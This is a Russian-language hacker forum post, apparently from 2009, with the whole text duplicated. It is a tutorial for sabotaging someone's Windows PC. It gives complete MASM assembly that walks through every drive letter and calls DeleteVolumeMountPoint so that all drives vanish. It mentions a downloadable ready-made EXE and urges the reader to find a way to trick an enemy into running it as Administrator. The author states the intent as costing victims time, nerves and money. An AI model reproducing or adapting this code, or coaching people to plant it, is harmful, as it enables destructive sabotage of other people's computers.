vazonez
24.10.2009, 00:44
Блокируем все логические диски в системе!
Ты никогда не задумывался о том, чтобы основательно подпортить кому-то нервы, время и деньги? Что ни разу? Я вот об этом думаю каждый день :-) Поэтому приходится выдумывать способы доставления такого "счастья" людям. Ну так вот - этот маленький туториал приподносит еще один метод западла.
Итак, цель - заблокировать все диски в системе. Можно долго выдумывать изощренные приемы достижения блока, но есть уже готовый и продуманный - прогеры из M$ создали готовую API для этого - DeleteVolumeMountPoint
Вот что о ней говорит MSDN:
Deletes a drive letter or mounted folder.
Как раз подходит для абсолютного зла! Её то мы и будет использовать. Пример кода будет на MASM, но учитывая что это всего лишь API, использовать идею можно и на Delphi и на других языках.
Код:
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
Disk db 'Z:\',0
hDisk dd 0
.code
start:
invoke SetErrorMode, SEM_FAILCRITICALERRORS
invoke GetLogicalDrives
mov ecx,25
find_drives:
mov ebx,1
shl ebx,cl
and ebx,eax
je no_disk
add cl,65
mov byte ptr Disk,cl
sub cl,65
push ecx
push eax
invoke DeleteVolumeMountPoint, addr Disk
; Функция требует всего один параметр - букву диска в виде Z:\
pop eax
pop ecx
no_disk:
dec ecx
jge find_drives
invoke ExitProcess,0
end start
Исходник с ресурсами и прочей лабудой, и готовым EXE залит по этому адресу:
[Ссылки доступны только зарегистрированным пользователям]
Пароль: vazonez
А теперь приступим к тестированию "утилиты" ;-)
Оговорюсь, тулза будет работать только под аккаунтом Администратора, поэтому сам думай, как впарить ее недругу.
После запуска, "Мой Компьютер" станет не похож на себя - не останется ни одного диска:
[Ссылки доступны только зарегистрированным пользователям] ([Ссылки доступны только зарегистрированным пользователям])
Удивленному юзеру ничего не останется, как перезагрузить машину - работать станет невозможно:
[Ссылки доступны только зарегистрированным пользователям] ([Ссылки доступны только зарегистрированным пользователям])
После перезагрузки появится только системный раздел, а все остальное - CD-ROM, Floppy и другие локальные диски так и останутся в инвизе ;-)
Не буду напоминать, сколько всего можно добавить и улучшить - вариантов масса, все зависит только от твоей фантазии!
Удачи!
Оригинал:
[Ссылки доступны только зарегистрированным пользователям]
Ты никогда не задумывался о том, чтобы основательно подпортить кому-то нервы, время и деньги? Что ни разу? Я вот об этом думаю каждый день :-) Поэтому приходится выдумывать способы доставления такого "счастья" людям. Ну так вот - этот маленький туториал приподносит еще один метод западла.
Итак, цель - заблокировать все диски в системе. Можно долго выдумывать изощренные приемы достижения блока, но есть уже готовый и продуманный - прогеры из M$ создали готовую API для этого - DeleteVolumeMountPoint
Вот что о ней говорит MSDN:
Deletes a drive letter or mounted folder.
Как раз подходит для абсолютного зла! Её то мы и будет использовать. Пример кода будет на MASM, но учитывая что это всего лишь API, использовать идею можно и на Delphi и на других языках.
Код:
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
Disk db 'Z:\',0
hDisk dd 0
.code
start:
invoke SetErrorMode, SEM_FAILCRITICALERRORS
invoke GetLogicalDrives
mov ecx,25
find_drives:
mov ebx,1
shl ebx,cl
and ebx,eax
je no_disk
add cl,65
mov byte ptr Disk,cl
sub cl,65
push ecx
push eax
invoke DeleteVolumeMountPoint, addr Disk
; Функция требует всего один параметр - букву диска в виде Z:\
pop eax
pop ecx
no_disk:
dec ecx
jge find_drives
invoke ExitProcess,0
end start
Исходник с ресурсами и прочей лабудой, и готовым EXE залит по этому адресу:
[Ссылки доступны только зарегистрированным пользователям]
Пароль: vazonez
А теперь приступим к тестированию "утилиты" ;-)
Оговорюсь, тулза будет работать только под аккаунтом Администратора, поэтому сам думай, как впарить ее недругу.
После запуска, "Мой Компьютер" станет не похож на себя - не останется ни одного диска:
[Ссылки доступны только зарегистрированным пользователям] ([Ссылки доступны только зарегистрированным пользователям])
Удивленному юзеру ничего не останется, как перезагрузить машину - работать станет невозможно:
[Ссылки доступны только зарегистрированным пользователям] ([Ссылки доступны только зарегистрированным пользователям])
После перезагрузки появится только системный раздел, а все остальное - CD-ROM, Floppy и другие локальные диски так и останутся в инвизе ;-)
Не буду напоминать, сколько всего можно добавить и улучшить - вариантов масса, все зависит только от твоей фантазии!
Удачи!
Оригинал:
[Ссылки доступны только зарегистрированным пользователям]